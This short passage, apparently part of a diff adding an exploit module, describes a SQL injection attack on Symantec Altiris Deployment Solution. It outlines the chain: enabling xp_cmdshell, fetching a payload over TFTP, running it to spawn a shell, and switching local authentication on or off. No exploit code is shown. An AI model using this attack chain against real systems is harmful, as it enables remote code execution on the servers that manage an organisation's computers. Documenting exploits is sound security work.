+        This module exploits a SQL injection flaw in Symantec Altiris Deployment Solution 6.8
+        to 6.9.164. The vulnerability exists on axengine.exe which fails to adequately sanitize
+        numeric input fields in "UpdateComputer" notification Requests. In order to spawn a shell,
+        several SQL injections are required in close succession, first to enable xp_cmdshell, then
+        retrieve the payload via TFTP and finally execute it. The module also has the capability
+        to disable or enable local application authentication. In order to work the target system
+        must have a tftp client available.
